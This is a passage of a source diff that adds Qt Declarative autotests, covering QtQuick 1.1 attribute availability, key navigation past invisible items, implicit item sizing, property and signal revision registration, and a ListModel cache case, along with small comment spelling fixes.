@@ -570,6 +669,45 @@ void tst_qdeclarativeimage::nullPixmapPaint()
     delete image;
 }
 
+void tst_qdeclarativeimage::testQtQuick11Attributes()
+{
+    QFETCH(QString, code);
+    QFETCH(QString, warning);
+    QFETCH(QString, error);
+
+    QDeclarativeEngine engine;
+    QObject *obj;
+
+    QDeclarativeComponent valid(&engine);
+    valid.setData("import QtQuick 1.1; Image { " + code.toUtf8() + " }", QUrl(""));
+    obj = valid.create();
+    QVERIFY(obj);
+    QVERIFY(valid.errorString().isEmpty());
+    delete obj;
+
+    QDeclarativeComponent invalid(&engine);
+    invalid.setData("import QtQuick 1.0; Image { " + code.toUtf8() + " }", QUrl(""));
+    QTest::ignoreMessage(QtWarningMsg, warning.toUtf8());
+    obj = invalid.create();
+    QCOMPARE(invalid.errorString(), error);
+    delete obj;
+}
+
+void tst_qdeclarativeimage::testQtQuick11Attributes_data()
+{
+    QTest::addColumn<QString>("code");
+    QTest::addColumn<QString>("warning");
+    QTest::addColumn<QString>("error");
+
+    QTest::newRow("mirror") << "mirror: true"
+        << "QDeclarativeComponent: Component is not ready"
+        << ":1 \"Image.mirror\" is not available in QtQuick 1.0.\n";
+
+    QTest::newRow("cache") << "cache: true"
+        << "QDeclarativeComponent: Component is not ready"
+        << ":1 \"Image.cache\" is not available in QtQuick 1.0.\n";
+}
+
 /*
    Find an item with the specified objectName.  If index is supplied then the
    item must also evaluate the {index} expression equal to index
diff --git a/tests/auto/declarative/qdeclarativeimageprovider/tst_qdeclarativeimageprovider.cpp b/tests/auto/declarative/qdeclarativeimageprovider/tst_qdeclarativeimageprovider.cpp
index 5b214e6..6d35332 100644
--- a/tests/auto/declarative/qdeclarativeimageprovider/tst_qdeclarativeimageprovider.cpp
+++ b/tests/auto/declarative/qdeclarativeimageprovider/tst_qdeclarativeimageprovider.cpp
@@ -180,6 +180,10 @@ void tst_qdeclarativeimageprovider::fillRequestTestsData(const QString &id)
             << "image://test/" + fileName << fileName << "" << QSize(100,100) << "";
 
     fileName = newImageFileName();
+    QTest::newRow(QTest::toString(id + " simple test with capitalization"))//As it's a URL, should make no difference
+            << "image://Test/" + fileName << fileName << "" << QSize(100,100) << "";
+
+    fileName = newImageFileName();
     QTest::newRow(QTest::toString(id + " url with no id"))
         << "image://test/" + fileName << "" + fileName << "" << QSize(100,100) << "";
 
diff --git a/tests/auto/declarative/qdeclarativeinstruction/tst_qdeclarativeinstruction.cpp b/tests/auto/declarative/qdeclarativeinstruction/tst_qdeclarativeinstruction.cpp
index 9ac6137..b5edec8 100644
--- a/tests/auto/declarative/qdeclarativeinstruction/tst_qdeclarativeinstruction.cpp
+++ b/tests/auto/declarative/qdeclarativeinstruction/tst_qdeclarativeinstruction.cpp
@@ -512,7 +512,7 @@ void tst_qdeclarativeinstruction::dump()
     {
         QDeclarativeInstruction i;
         i.line = 50;
-        i.type = (QDeclarativeInstruction::Type)(1234); // Non-existant
+        i.type = (QDeclarativeInstruction::Type)(1234); // Non-existent
         data->bytecode << i;
     }
 
diff --git a/tests/auto/declarative/qdeclarativeitem/data/implicitsize.qml b/tests/auto/declarative/qdeclarativeitem/data/implicitsize.qml
new file mode 100644
index 0000000..869c0fc
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeitem/data/implicitsize.qml
@@ -0,0 +1,19 @@
+import QtQuick 1.1
+
+Item {
+    implicitWidth: 200
+    implicitHeight: 100
+
+    width: 80
+    height: 60
+
+    function resetSize() {
+        width = undefined
+        height = undefined
+    }
+
+    function changeImplicit() {
+        implicitWidth = 150
+        implicitHeight = 80
+    }
+}
diff --git a/tests/auto/declarative/qdeclarativeitem/data/qtbug_16871.qml b/tests/auto/declarative/qdeclarativeitem/data/qtbug_16871.qml
new file mode 100644
index 0000000..8102df1
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeitem/data/qtbug_16871.qml
@@ -0,0 +1,5 @@
+import QtQuick 1.0
+
+Item {
+    children: [ 10 ]
+}
diff --git a/tests/auto/declarative/qdeclarativeitem/tst_qdeclarativeitem.cpp b/tests/auto/declarative/qdeclarativeitem/tst_qdeclarativeitem.cpp
index 57f7a95..137522d 100644
--- a/tests/auto/declarative/qdeclarativeitem/tst_qdeclarativeitem.cpp
+++ b/tests/auto/declarative/qdeclarativeitem/tst_qdeclarativeitem.cpp
@@ -65,6 +65,7 @@ private slots:
     void keys();
     void keysProcessingOrder();
     void keyNavigation();
+    void keyNavigation_skipNotVisible();
     void smooth();
     void clip();
     void mapCoordinates();
@@ -82,6 +83,10 @@ private slots:
     void mouseFocus();
 
     void transformCrash();
+    void implicitSize();
+    void testQtQuick11Attributes();
+    void testQtQuick11Attributes_data();
+    void qtbug_16871();
 
 private:
     template<typename T>
@@ -455,6 +460,84 @@ void tst_QDeclarativeItem::keyNavigation()
     delete canvas;
 }
 
+void tst_QDeclarativeItem::keyNavigation_skipNotVisible()
+{
+    QDeclarativeView *canvas = new QDeclarativeView(0);
+    canvas->setFixedSize(240,320);
+
+    canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/keynavigationtest.qml"));
+    canvas->show();
+    qApp->processEvents();
+
+    QEvent wa(QEvent::WindowActivate);
+    QApplication::sendEvent(canvas, &wa);
+    QFocusEvent fe(QEvent::FocusIn);
+    QApplication::sendEvent(canvas, &fe);
+
+    QDeclarativeItem *item = findItem<QDeclarativeItem>(canvas->rootObject(), "item1");
+    QVERIFY(item);
+    QVERIFY(item->hasActiveFocus());
+
+    // Set item 2 to not visible
+    item = findItem<QDeclarativeItem>(canvas->rootObject(), "item2");
+    QVERIFY(item);
+    item->setVisible(false);
+    QVERIFY(!item->isVisible());
+
+    // right
+    QKeyEvent key(QEvent::KeyPress, Qt::Key_Right, Qt::NoModifier, "", false, 1);
+    QApplication::sendEvent(canvas, &key);
+    QVERIFY(key.isAccepted());
+
+    item = findItem<QDeclarativeItem>(canvas->rootObject(), "item1");
+    QVERIFY(item);
+    QVERIFY(item->hasActiveFocus());
+
+    // tab
+    key = QKeyEvent(QEvent::KeyPress, Qt::Key_Tab, Qt::NoModifier, "", false, 1);
+    QApplication::sendEvent(canvas, &key);
+    QVERIFY(key.isAccepted());
+
+    item = findItem<QDeclarativeItem>(canvas->rootObject(), "item3");
+    QVERIFY(item);
+    QVERIFY(item->hasActiveFocus());
+
+    // backtab
+    key = QKeyEvent(QEvent::KeyPress, Qt::Key_Backtab, Qt::NoModifier, "", false, 1);
+    QApplication::sendEvent(canvas, &key);
+    QVERIFY(key.isAccepted());
+
+    item = findItem<QDeclarativeItem>(canvas->rootObject(), "item1");
+    QVERIFY(item);
+    QVERIFY(item->hasActiveFocus());
+
+    //Set item 3 to not visible
+    item = findItem<QDeclarativeItem>(canvas->rootObject(), "item3");
+    QVERIFY(item);
+    item->setVisible(false);
+    QVERIFY(!item->isVisible());
+
+    // tab
+    key = QKeyEvent(QEvent::KeyPress, Qt::Key_Tab, Qt::NoModifier, "", false, 1);
+    QApplication::sendEvent(canvas, &key);
+    QVERIFY(key.isAccepted());
+
+    item = findItem<QDeclarativeItem>(canvas->rootObject(), "item4");
+    QVERIFY(item);
+    QVERIFY(item->hasActiveFocus());
+
+    // backtab
+    key = QKeyEvent(QEvent::KeyPress, Qt::Key_Backtab, Qt::NoModifier, "", false, 1);
+    QApplication::sendEvent(canvas, &key);
+    QVERIFY(key.isAccepted());
+
+    item = findItem<QDeclarativeItem>(canvas->rootObject(), "item1");
+    QVERIFY(item);
+    QVERIFY(item->hasActiveFocus());
+
+    delete canvas;
+}
+
 void tst_QDeclarativeItem::smooth()
 {
     QDeclarativeComponent component(&engine);
@@ -836,6 +919,91 @@ void tst_QDeclarativeItem::transformCrash()
     delete canvas;
 }
 
+void tst_QDeclarativeItem::implicitSize()
+{
+    QDeclarativeView *canvas = new QDeclarativeView(0);
+    canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/implicitsize.qml"));
+    canvas->show();
+
+    QDeclarativeItem *item = qobject_cast<QDeclarativeItem*>(canvas->rootObject());
+    QVERIFY(item);
+    QCOMPARE(item->width(), qreal(80));
+    QCOMPARE(item->height(), qreal(60));
+
+    QCOMPARE(item->implicitWidth(), qreal(200));
+    QCOMPARE(item->implicitHeight(), qreal(100));
+
+    QMetaObject::invokeMethod(item, "resetSize");
+
+    QCOMPARE(item->width(), qreal(200));
+    QCOMPARE(item->height(), qreal(100));
+
+    QMetaObject::invokeMethod(item, "changeImplicit");
+
+    QCOMPARE(item->implicitWidth(), qreal(150));
+    QCOMPARE(item->implicitHeight(), qreal(80));
+    QCOMPARE(item->width(), qreal(150));
+    QCOMPARE(item->height(), qreal(80));
+
+    delete canvas;
+}
+
+void tst_QDeclarativeItem::testQtQuick11Attributes()
+{
+    QFETCH(QString, code);
+    QFETCH(QString, warning);
+    QFETCH(QString, error);
+
+    QDeclarativeEngine engine;
+    QObject *obj;
+
+    QDeclarativeComponent valid(&engine);
+    valid.setData("import QtQuick 1.1; Item { " + code.toUtf8() + " }", QUrl(""));
+    obj = valid.create();
+    QVERIFY(obj);
+    QVERIFY(valid.errorString().isEmpty());
+    delete obj;
+
+    QDeclarativeComponent invalid(&engine);
+    invalid.setData("import QtQuick 1.0; Item { " + code.toUtf8() + " }", QUrl(""));
+    QTest::ignoreMessage(QtWarningMsg, warning.toUtf8());
+    obj = invalid.create();
+    QCOMPARE(invalid.errorString(), error);
+    delete obj;
+}
+
+void tst_QDeclarativeItem::testQtQuick11Attributes_data()
+{
+    QTest::addColumn<QString>("code");
+    QTest::addColumn<QString>("warning");
+    QTest::addColumn<QString>("error");
+
+    QTest::newRow("implicitWidth") << "implicitWidth: 100"
+        << "QDeclarativeComponent: Component is not ready"
+        << ":1 \"Item.implicitWidth\" is not available in QtQuick 1.0.\n";
+
+    QTest::newRow("implicitHeight") << "implicitHeight: 100"
+        << "QDeclarativeComponent: Component is not ready"
+        << ":1 \"Item.implicitHeight\" is not available in QtQuick 1.0.\n";
+
+    QTest::newRow("onImplicitWidthChanged") << "onImplicitWidthChanged: x"
+        << "QDeclarativeComponent: Component is not ready"
+        << ":1 \"Item.onImplicitWidthChanged\" is not available in QtQuick 1.0.\n";
+
+    QTest::newRow("onImplicitHeightChanged") << "onImplicitHeightChanged: x"
+        << "QDeclarativeComponent: Component is not ready"
+        << ":1 \"Item.onImplicitHeightChanged\" is not available in QtQuick 1.0.\n";
+}
+
+void tst_QDeclarativeItem::qtbug_16871()
+{
+    QDeclarativeComponent component(&engine, SRCDIR "/data/qtbug_16871.qml");
+    QObject *o = component.create();
+    QVERIFY(o != 0);
+    delete o;
+}
+
+
 template<typename T>
 T *tst_QDeclarativeItem::findItem(QGraphicsObject *parent, const QString &objectName)
 {
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/allowedRevisionOverloads.qml b/tests/auto/declarative/qdeclarativelanguage/data/allowedRevisionOverloads.qml
new file mode 100644
index 0000000..64acbd1
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/allowedRevisionOverloads.qml
@@ -0,0 +1,6 @@
+import Test 1.0
+
+MyRevisionedLegalOverload
+{
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/disallowedRevisionOverloads.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/disallowedRevisionOverloads.errors.txt
new file mode 100644
index 0000000..e9b449d
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/disallowedRevisionOverloads.errors.txt
@@ -0,0 +1 @@
+3:1:Type Test/MyRevisionedIllegalOverload 1.0 contains an illegal property "propA".  This is an error in the type's implementation.
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/disallowedRevisionOverloads.qml b/tests/auto/declarative/qdeclarativelanguage/data/disallowedRevisionOverloads.qml
new file mode 100644
index 0000000..612bcfe
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/disallowedRevisionOverloads.qml
@@ -0,0 +1,7 @@
+import Test 1.0
+
+MyRevisionedIllegalOverload
+{
+}
+
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.1.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.1.errors.txt
new file mode 100644
index 0000000..29342dc
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.1.errors.txt
@@ -0,0 +1 @@
+8:5:"MyRevisionedClass.prop2" is not available in Test 1.0.
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.1.qml b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.1.qml
new file mode 100644
index 0000000..4b37ed3
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.1.qml
@@ -0,0 +1,9 @@
+// Check that a property in a later revision (prop2) cannot be assigned
+import QtQuick 1.0
+import Test 1.0
+
+MyRevisionedClass
+{
+    prop1: 1
+    prop2: 2
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.2.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.2.errors.txt
new file mode 100644
index 0000000..57b5764
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.2.errors.txt
@@ -0,0 +1 @@
+6:5:"MyRevisionedClass.onSignal2" is not available in Test 1.0.
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.2.qml b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.2.qml
new file mode 100644
index 0000000..8da7a25
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.2.qml
@@ -0,0 +1,7 @@
+import Test 1.0
+
+MyRevisionedClass
+{
+    onSignal1: prop1 = 2
+    onSignal2: prop1 = 3
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.3.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.3.errors.txt
new file mode 100644
index 0000000..45364a0
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.3.errors.txt
@@ -0,0 +1 @@
+9:5:"MyRevisionedClass.propD" is not available in Test 1.1.
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.3.qml b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.3.qml
new file mode 100644
index 0000000..195be21
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.3.qml
@@ -0,0 +1,10 @@
+import Test 1.1
+
+MyRevisionedClass
+{
+    propA: 10
+    propB: 10
+    propC: 10
+    // propD is in rev 1 of MyRevisionedClassUnregistered, but not registered in 1.1
+    propD: 10
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/revisions11.qml b/tests/auto/declarative/qdeclarativelanguage/data/revisions11.qml
new file mode 100644
index 0000000..4d3d7d2
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/revisions11.qml
@@ -0,0 +1,10 @@
+import QtQuick 1.0
+import Test 1.1
+
+MyRevisionedClass
+{
+    prop1: 1
+    prop2: 10
+
+    onSignal2: prop2 = 3
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/revisionsbasesub11.qml b/tests/auto/declarative/qdeclarativelanguage/data/revisionsbasesub11.qml
new file mode 100644
index 0000000..57d76b1
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/revisionsbasesub11.qml
@@ -0,0 +1,16 @@
+import QtQuick 1.0
+import Test 1.1
+
+MyRevisionedSubclass
+{
+    propA: 10
+    propB: 10
+    propC: 10
+    // propD is not registered in 1.1
+    prop1: 10
+    prop2: 10
+    prop3: 10
+    prop4: 10
+
+    onSignal4: prop4 = 2
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/revisionssub11.qml b/tests/auto/declarative/qdeclarativelanguage/data/revisionssub11.qml
new file mode 100644
index 0000000..f107356
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/revisionssub11.qml
@@ -0,0 +1,12 @@
+import QtQuick 1.0
+import Test 1.1
+
+MyRevisionedSubclass
+{
+    prop1: 10
+    prop2: 10
+    prop3: 10
+    prop4: 10
+
+    onSignal4: prop4 = 2
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/versionedbase.qml b/tests/auto/declarative/qdeclarativelanguage/data/versionedbase.qml
new file mode 100644
index 0000000..8c74715
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/versionedbase.qml
@@ -0,0 +1,8 @@
+import QtQuick 1.0
+import Test 1.1
+
+MySubclass
+{
+    prop1: 10
+    prop2: 10
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/testtypes.cpp b/tests/auto/declarative/qdeclarativelanguage/testtypes.cpp
index e312e31..69cba76 100644
--- a/tests/auto/declarative/qdeclarativelanguage/testtypes.cpp
+++ b/tests/auto/declarative/qdeclarativelanguage/testtypes.cpp
@@ -52,6 +52,20 @@ void registerTypes()
     qmlRegisterType<MyNamespace::MySecondNamespacedType>("Test",1,0,"MySecondNamespacedType");
     qmlRegisterType<MyParserStatus>("Test",1,0,"MyParserStatus");
     qmlRegisterType<MyGroupedObject>();
+    qmlRegisterType<MyRevisionedClass>("Test",1,0,"MyRevisionedClass");
+    qmlRegisterType<MyRevisionedClass,1>("Test",1,1,"MyRevisionedClass");
+    qmlRegisterType<MyRevisionedIllegalOverload>("Test",1,0,"MyRevisionedIllegalOverload");
+    qmlRegisterType<MyRevisionedLegalOverload>("Test",1,0,"MyRevisionedLegalOverload");
+
+    // Register the uncreatable base class
+    qmlRegisterRevision<MyRevisionedBaseClassRegistered,1>("Test",1,1);
+    // MyRevisionedSubclass 1.0 uses MyRevisionedClass revision 0
+    qmlRegisterType<MyRevisionedSubclass>("Test",1,0,"MyRevisionedSubclass");
+    // MyRevisionedSubclass 1.1 uses MyRevisionedClass revision 1
+    qmlRegisterType<MyRevisionedSubclass,1>("Test",1,1,"MyRevisionedSubclass");
+
+    // Only version 1.0, but its super class is registered in version 1.1 also
+    qmlRegisterType<MySubclass>("Test",1,0,"MySubclass");
 
     qmlRegisterCustomType<MyCustomParserType>("Test", 1, 0, "MyCustomParserType", new MyCustomParserTypeParser);
 
diff --git a/tests/auto/declarative/qdeclarativelanguage/testtypes.h b/tests/auto/declarative/qdeclarativelanguage/testtypes.h
index 2cdf580..12424d0 100644
--- a/tests/auto/declarative/qdeclarativelanguage/testtypes.h
+++ b/tests/auto/declarative/qdeclarativelanguage/testtypes.h
@@ -601,6 +601,207 @@ private:
     int m_ccc;
 };
 
+class MyRevisionedBaseClassRegistered : public QObject
+{
+    Q_OBJECT
+    Q_PROPERTY(qreal propA READ propA WRITE setPropA NOTIFY propAChanged)
+    Q_PROPERTY(qreal propB READ propB WRITE setPropB NOTIFY propBChanged REVISION 1)
+
+public:
+    MyRevisionedBaseClassRegistered() : m_pa(1), m_pb(2) {}
+
+    qreal propA() const { return m_pa; }
+    void setPropA(qreal p) {
+        if (p != m_pa) {
+            m_pa = p;
+            emit propAChanged();
+        }
+    }
+    qreal propB() const { return m_pb; }
+    void setPropB(qreal p) {
+        if (p != m_pb) {
+            m_pb = p;
+            emit propBChanged();
+        }
+    }
+
+    Q_INVOKABLE void methodA() { }
+    Q_INVOKABLE Q_REVISION(1) void methodB() { }
+
+signals:
+    void propAChanged();
+    void propBChanged();
+
+    void signalA();
+    Q_REVISION(1) void signalB();
+
+protected:
+    qreal m_pa;
+    qreal m_pb;
+};
+
+class MyRevisionedIllegalOverload : public MyRevisionedBaseClassRegistered
+{
+    Q_OBJECT
+    Q_PROPERTY(qreal propA READ propA WRITE setPropA REVISION 1);
+};
+
+class MyRevisionedLegalOverload : public MyRevisionedBaseClassRegistered
+{
+    Q_OBJECT
+    Q_PROPERTY(qreal propB READ propB WRITE setPropB REVISION 1);
+};
+
+class MyRevisionedBaseClassUnregistered : public MyRevisionedBaseClassRegistered
+{
+    Q_OBJECT
+    Q_PROPERTY(qreal propC READ propC WRITE setPropC NOTIFY propCChanged)
+    Q_PROPERTY(qreal propD READ propD WRITE setPropD NOTIFY propDChanged REVISION 1)
+
+public:
+    MyRevisionedBaseClassUnregistered() : m_pc(1), m_pd(2) {}
+
+    qreal propC() const { return m_pc; }
+    void setPropC(qreal p) {
+        if (p != m_pc) {
+            m_pc = p;
+            emit propCChanged();
+        }
+    }
+    qreal propD() const { return m_pd; }
+    void setPropD(qreal p) {
+        if (p != m_pd) {
+            m_pd = p;
+            emit propDChanged();
+        }
+    }
+
+    Q_INVOKABLE void methodC() { }
+    Q_INVOKABLE Q_REVISION(1) void methodD() { }
+
+signals:
+    void propCChanged();
+    void propDChanged();
+
+    void signalC();
+    Q_REVISION(1) void signalD();
+
+protected:
+    qreal m_pc;
+    qreal m_pd;
+};
+
+class MyRevisionedClass : public MyRevisionedBaseClassUnregistered
+{
+    Q_OBJECT
+    Q_PROPERTY(qreal prop1 READ prop1 WRITE setProp1 NOTIFY prop1Changed)
+    Q_PROPERTY(qreal prop2 READ prop2 WRITE setProp2 NOTIFY prop2Changed REVISION 1)
+
+public:
+    MyRevisionedClass() : m_p1(1), m_p2(2) {}
+
+    qreal prop1() const { return m_p1; }
+    void setProp1(qreal p) {
+        if (p != m_p1) {
+            m_p1 = p;
+            emit prop1Changed();
+        }
+    }
+    qreal prop2() const { return m_p2; }
+    void setProp2(qreal p) {
+        if (p != m_p2) {
+            m_p2 = p;
+            emit prop2Changed();
+        }
+    }
+
+    Q_INVOKABLE void method1() { }
+    Q_INVOKABLE Q_REVISION(1) void method2() { }
+
+signals:
+    void prop1Changed();
+    void prop2Changed();
+
+    void signal1();
+    Q_REVISION(1) void signal2();
+
+protected:
+    qreal m_p1;
+    qreal m_p2;
+};
+
+class MyRevisionedSubclass : public MyRevisionedClass
+{
+    Q_OBJECT
+    Q_PROPERTY(qreal prop3 READ prop3 WRITE setProp3 NOTIFY prop3Changed)
+    Q_PROPERTY(qreal prop4 READ prop4 WRITE setProp4 NOTIFY prop4Changed REVISION 1)
+
+public:
+    MyRevisionedSubclass() : m_p3(3), m_p4(4) {}
+
+    qreal prop3() const { return m_p3; }
+    void setProp3(qreal p) {
+        if (p != m_p3) {
+            m_p3 = p;
+            emit prop3Changed();
+        }
+    }
+    qreal prop4() const { return m_p4; }
+    void setProp4(qreal p) {
+        if (p != m_p4) {
+            m_p4 = p;
+            emit prop4Changed();
+        }
+    }
+
+    Q_INVOKABLE void method3() { }
+    Q_INVOKABLE Q_REVISION(1) void method4() { }
+
+signals:
+    void prop3Changed();
+    void prop4Changed();
+
+    void signal3();
+    Q_REVISION(1) void signal4();
+
+protected:
+    qreal m_p3;
+    qreal m_p4;
+};
+
+class MySubclass : public MyRevisionedClass
+{
+    Q_OBJECT
+    Q_PROPERTY(qreal prop5 READ prop5 WRITE setProp5 NOTIFY prop5Changed)
+
+public:
+    MySubclass() : m_p5(5) {}
+
+    qreal prop5() const { return m_p5; }
+    void setProp5(qreal p) {
+        if (p != m_p5) {
+            m_p5 = p;
+            emit prop5Changed();
+        }
+    }
+
+    Q_INVOKABLE void method5() { }
+
+signals:
+    void prop5Changed();
+
+protected:
+    qreal m_p5;
+};
+
+QML_DECLARE_TYPE(MyRevisionedBaseClassRegistered)
+QML_DECLARE_TYPE(MyRevisionedBaseClassUnregistered)
+QML_DECLARE_TYPE(MyRevisionedClass)
+QML_DECLARE_TYPE(MyRevisionedSubclass)
+QML_DECLARE_TYPE(MySubclass)
+
+
+
 void registerTypes();
 
 #endif // TESTTYPES_H
diff --git a/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp b/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp
index a3e8ce6..f3f41a9 100644
--- a/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp
+++ b/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp
@@ -153,6 +153,9 @@ private slots:
     void customOnProperty();
     void variantNotify();
 
+    void revisions();
+    void revisionOverloads();
+
     // regression tests for crashes
     void crash1();
     void crash2();
@@ -421,6 +424,10 @@ void tst_qdeclarativelanguage::errors_data()
         << "incorrectCase.errors.sensitive.txt" 
 #endif
         << false;
+
+    QTest::newRow("metaobjectRevision.1") << "metaobjectRevision.1.qml" << "metaobjectRevision.1.errors.txt" << false;
+    QTest::newRow("metaobjectRevision.2") << "metaobjectRevision.2.qml" << "metaobjectRevision.2.errors.txt" << false;
+    QTest::newRow("metaobjectRevision.3") << "metaobjectRevision.3.qml" << "metaobjectRevision.3.errors.txt" << false;
 }
 
 
@@ -947,7 +954,7 @@ void tst_qdeclarativelanguage::aliasProperties()
         object->setProperty("value", QVariant(13));
         QCOMPARE(object->property("valueAlias").toInt(), 13);
 
-        // Write throught alias
+        // Write through alias
         object->setProperty("valueAlias", QVariant(19));
         QCOMPARE(object->property("valueAlias").toInt(), 19);
         QCOMPARE(object->property("value").toInt(), 19);
@@ -1109,7 +1116,7 @@ void tst_qdeclarativelanguage::aliasProperties()
         object->setProperty("rectProperty", QVariant(QRect(33, 12, 99, 100)));
         QCOMPARE(object->property("valueAlias").toRect(), QRect(33, 12, 99, 100));
 
-        // Write throught alias
+        // Write through alias
         object->setProperty("valueAlias", QVariant(QRect(3, 3, 4, 9)));
         QCOMPARE(object->property("valueAlias").toRect(), QRect(3, 3, 4, 9));
         QCOMPARE(object->property("rectProperty").toRect(), QRect(3, 3, 4, 9));
@@ -1129,7 +1136,7 @@ void tst_qdeclarativelanguage::aliasProperties()
         object->setProperty("rectProperty", QVariant(QRect(33, 8, 102, 111)));
         QCOMPARE(object->property("aliasProperty").toInt(), 33);
 
-        // Write throught alias
+        // Write through alias
         object->setProperty("aliasProperty", QVariant(4));
         QCOMPARE(object->property("aliasProperty").toInt(), 4);
         QCOMPARE(object->property("rectProperty").toRect(), QRect(4, 8, 102, 111));
@@ -1888,6 +1895,61 @@ void tst_qdeclarativelanguage::variantNotify()
     delete object;
 }
 
+void tst_qdeclarativelanguage::revisions()
+{
+    {
+        QDeclarativeComponent component(&engine, TEST_FILE("revisions11.qml"));
+
+        VERIFY_ERRORS(0);
+        MyRevisionedClass *object = qobject_cast<MyRevisionedClass*>(component.create());
+        QVERIFY(object != 0);
+
+        QCOMPARE(object->prop2(), 10.0);
+
+        delete object;
+    }
+    {
+        QDeclarativeEngine myEngine;
+        QDeclarativeComponent component(&myEngine, TEST_FILE("revisionssub11.qml"));
+
+        VERIFY_ERRORS(0);
+        MyRevisionedSubclass *object = qobject_cast<MyRevisionedSubclass*>(component.create());
+        QVERIFY(object != 0);
+
+        QCOMPARE(object->prop1(), 10.0);
+        QCOMPARE(object->prop2(), 10.0);
+        QCOMPARE(object->prop3(), 10.0);
+        QCOMPARE(object->prop4(), 10.0);
+
+        delete object;
+    }
+    {
+        QDeclarativeComponent component(&engine, TEST_FILE("versionedbase.qml"));
+        VERIFY_ERRORS(0);
+        MySubclass *object = qobject_cast<MySubclass*>(component.create());
+        QVERIFY(object != 0);
+
+        QCOMPARE(object->prop1(), 10.0);
+        QCOMPARE(object->prop2(), 10.0);
+
+        delete object;
+    }
+}
+
+void tst_qdeclarativelanguage::revisionOverloads()
+{
+    {
+    QDeclarativeComponent component(&engine, TEST_FILE("allowedRevisionOverloads.qml"));
+    VERIFY_ERRORS(0);
+    }
+    {
+    QDeclarativeComponent component(&engine, TEST_FILE("disallowedRevisionOverloads.qml"));
+    QEXPECT_FAIL("", "QTBUG-13849", Abort);
+    QVERIFY(0);
+    VERIFY_ERRORS("disallowedRevisionOverloads.errors.txt");
+    }
+}
+
 void tst_qdeclarativelanguage::initTestCase()
 {
     registerTypes();
diff --git a/tests/auto/declarative/qdeclarativelistmodel/data/setmodelcachelist.qml b/tests/auto/declarative/qdeclarativelistmodel/data/setmodelcachelist.qml
new file mode 100644
index 0000000..ffe417a
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelistmodel/data/setmodelcachelist.qml
@@ -0,0 +1,20 @@
+import QtQuick 1.0
+
+ListModel {
+    id: model
+    property bool ok : false
+
+    Component.onCompleted: {
+        model.append({"attrs": []})
+        model.get(0)
+        model.set(0, {"attrs": [{'abc': 123, 'def': 456}] } )
+        ok = ( model.get(0).attrs.get(0).abc == 123
+            && model.get(0).attrs.get(0).def == 456 )
+
+        model.set(0, {"attrs": [{'abc': 789, 'def': 101}] } )
+        ok = ( model.get(0).attrs.get(0).abc == 789
+            && model.get(0).attrs.get(0).def == 101 )
+
+    }
+}
+
diff --git a/tests/auto/declarative/qdeclarativelistmodel/tst_qdeclarativelistmodel.cpp b/tests/auto/declarative/qdeclarativelistmodel/tst_qdeclarativelistmodel.cpp
index 5a88dd1..45072f3 100644
--- a/tests/auto/declarative/qdeclarativelistmodel/tst_qdeclarativelistmodel.cpp
+++ b/tests/auto/declarative/qdeclarativelistmodel/tst_qdeclarativelistmodel.cpp
@@ -59,6 +59,7 @@
 #endif
 
 Q_DECLARE_METATYPE(QList<int>)
+Q_DECLARE_METATYPE(QList<QVariantHash>)
 
 class tst_qdeclarativelistmodel : public QObject
 {
@@ -100,6 +101,11 @@ private slots:
     void get_nested();
     void get_nested_data();
     void crash_model_with_multiple_roles();
+    void set_model_cache();
+    void property_changes();
+    void property_changes_data();
+    void property_changes_worker();
+    void property_changes_worker_data();
 };
 int tst_qdeclarativelistmodel::roleFromName(const QDeclarativeListModel *model, const QString &roleName)
 {
@@ -297,13 +303,10 @@ void tst_qdeclarativelistmodel::dynamic_data()
     QTest::newRow("nested-append3") << "{append({'foo':123,'bars':[{'a':1},{'a':2},{'a':3}]});get(0).bars.append({'a':4});get(0).bars.get(3).a}" << 4 << "";
 
